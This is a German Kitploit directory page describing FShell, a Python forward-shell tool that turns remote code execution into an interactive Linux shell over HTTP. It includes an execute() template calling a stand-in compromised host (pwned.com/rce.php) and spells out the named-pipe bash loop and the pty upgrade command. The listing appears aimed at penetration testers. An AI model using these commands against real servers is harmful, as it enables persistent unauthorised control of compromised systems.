Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
FShell — Meine python3-Implementierung einer Forward-Shell | Kitploit
Tools/GitHubGitHub/hypnoze57/fshell
ExploitationPost-ExploitationPenetrationstestsRed TeamingRemote-Access-Tool
GitHubhypnoze57/fshell

FShell

Meine python3-Implementierung einer Forward-Shell

Repository anzeigen
38524vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

FShell

Beschreibung

FShell ist meine Implementierung einer Forward Shell. Sie wurde entwickelt, um eine interaktive tty mittels Remote-Code-Ausführung über ein zustandsloses Protokoll (z. B. HTTP) zu erhalten.

Warum sollte ich eine Forward Shell verwenden?

  • Der entfernte Server kann das Internet nicht erreichen, keine Reverse-Shell-Möglichkeit
  • Ich möchte nicht, dass der Server neue ausgehende Verbindungen initiiert oder einen neuen Dienst bereitstellt (nur den verwundbaren, bereits exponierten Dienst nutzen)

Allerdings hat sie auch Nachteile:

  • Viele Anfragen pro Sekunde (bei einem Webserver werden viele Zugriffs-Logs erzeugt)
  • Nicht vollständig interaktiv: keine Autovervollständigung (das könnte theoretisch implementiert werden, würde aber eine enorme Menge an Anfragen erzeugen), denke daran, dass deine Eingabe an das Python-Skript und dann an den entfernten Server gesendet wird.

Die Anforderungshäufigkeit kann geändert werden, indem die Variable BEACONING_DELAY modifiziert wird.

Anforderungen

Auf dem Angreifer-Rechner

Python3 & Bibliotheken:

  • requests
  • termcolor

Auf dem Zielsystem

Derzeit wird nur Linux unterstützt. Erforderlich sind grundlegende Befehle/Werkzeuge auf dem entfernten System:

  • python2 (und pty-Modul)
  • bash
  • mkfifo
  • cat
  • tail
  • ps
  • grep
  • awk
  • kill

Verwendung

Ändere die Variable WRITABLE_FOLDER, falls /tmp nicht beschreibbar ist oder du etwas Besseres hast (bevorzuge /dev/shm).

Du musst die Funktion execute neu definieren, um deine Remote-Code-Ausführung durchzuführen:

def execute(cmd, verbose=False, timeout=None):
    """
    :cmd      Raw shell command to execute on the remote system
    :timetout MANDATORY: Used to kill blocking execution loop (used in named pipe creation).
              If you cannot, put named pipe creation in separated thread
    :verbose  Print full cmd executed on the remote system (Debug mode)
    """
    # Put your RCE code here
    r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
    return r.text.strip() # You can apply formating if the output is not only the output of command

Befehle

  • help_shell: Hilfe zu den Befehlen anzeigen
  • get_sessid: Aktuelle Sitzungs-ID auf dem entfernten Server anzeigen
  • upgrade_shell: Remote-pty mit Python starten, um eine interaktive Shell zu erstellen
  • exit_shell: Die Remote-Shell 'sauber' beenden. Wenn du mit einem anderen Benutzer als dem ersten verbunden bist, beende bitte vorher normal.

Demo

FShell Demo

Wie es funktioniert

Die Konzepte sind ziemlich einfach.

Zuerst musst du eine Named Pipe auf dem entfernten System erstellen. Sie wird verwendet, um Befehle an die Shell zu senden.
mkfifo /tmp/input.

Dann erstelle eine Bash-Schleife, die die Named Pipe ständig liest und an einen interaktiven Bash-Prozess sendet, der stdin & stderr in eine Ausgabedatei sendet.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1

[Named Pipe lesen] -> [Inhalt der Named Pipe ausführen] -> [stdin/stderr in Ausgabedatei senden] -> [Zurück zum Lesen der Named Pipe wegen der Tail-Option '-f']

Im nächsten Schritt wird ein Python-Thread gestartet, der regelmäßig cat /tmp/output ausführt, um die Shell-Ausgabe zu erhalten.
Wenn der Thread Daten findet, löscht er den Inhalt der Ausgabedatei mit echo '' > /tmp/output
Tipps: Um Fehlerprotokolle für eine nicht vorhandene Datei zu vermeiden, führt das Skript vor dem Start des 'GetOutput'-Threads den Befehl 'id' aus, um die Ausgabedatei zu erstellen.

Einer der letzten Schritte besteht darin, die Benutzereingabe aus unserem Python-Skript zu lesen und an die Named Pipe zu senden
echo USERCMD > /tmp/input

Und der letzte Trick, um eine entfernte interaktive tty zurückzubekommen, ist der Befehl 'upgrade_shell'. Dieser Befehl führt ein python -c 'import pty;pty.spawn("/bin/bash")' (sowie einige Exporte und Aliase) aus, um eine echte tty für den aktuellen Prozess zu erzeugen (verwendet in der Named-Pipe-Schleife).

Danksagung

Dank an @ippsec, ich wusste nicht, dass so etwas möglich ist, bevor ich dieses Video Stratosphere HTB Write Up gesehen habe!

Ich hoffe, es gefällt dir!

Tool herunterladen